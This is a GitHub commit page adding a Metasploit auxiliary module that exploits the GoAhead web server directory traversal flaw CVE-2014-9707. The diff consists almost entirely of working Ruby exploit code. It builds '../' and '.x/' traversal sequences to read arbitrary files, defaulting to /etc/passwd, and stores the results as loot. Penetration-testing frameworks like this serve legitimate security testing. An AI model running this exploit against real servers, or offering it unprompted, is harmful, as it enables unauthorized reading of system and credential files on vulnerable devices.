Skip to content

Commit d399d05

Browse files
committed
Add Directory Traversal for GoAhead Web Server
1 parent a54182a commit d399d05

File tree

1 file changed

+77
-0
lines changed

1 file changed

+77
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'GoAhead Embedded Web Server Directory Traversal',
17+
'Description' => %q{
18+
This module exploits a directory traversal vulnerability in the EmbedThis GoAhead Web Server v3.4.1,
19+
allowing to read arbitrary files with the web server privileges.
20+
},
21+
'References' =>
22+
[
23+
['CVE', '2014-9707'],
24+
['URL', 'http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html']
25+
],
26+
'Author' =>
27+
[
28+
'Matthew Daley', # Vulnerability discovery
29+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
30+
],
31+
'License' => MSF_LICENSE
32+
))
33+
34+
register_options(
35+
[
36+
Opt::RPORT(80),
37+
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
38+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
39+
], self.class)
40+
41+
deregister_options('RHOST')
42+
end
43+
44+
def run_host(ip)
45+
traversal = "../" * datastore['DEPTH']
46+
segments = ".x/" * datastore['DEPTH']
47+
filename = datastore['FILEPATH']
48+
filename = filename[1, filename.length] if filename =~ /^\//
49+
50+
res = send_request_raw({
51+
'method' => 'GET',
52+
'uri' => "#{traversal}#{segments}#{filename}"
53+
})
54+
55+
if res &&
56+
res.code == 200 &&
57+
res.headers['Server'] &&
58+
res.headers['Server'] =~ /GoAhead/
59+
60+
print_line("#{res.body}")
61+
62+
fname = datastore['FILEPATH']
63+
64+
path = store_loot(
65+
'goahead.traversal',
66+
'text/plain',
67+
ip,
68+
res,
69+
fname
70+
)
71+
72+
print_good("#{peer} - File saved in: #{path}")
73+
else
74+
print_error("#{peer} - Nothing was downloaded")
75+
end
76+
end
77+
end

0 commit comments

Comments
 (0)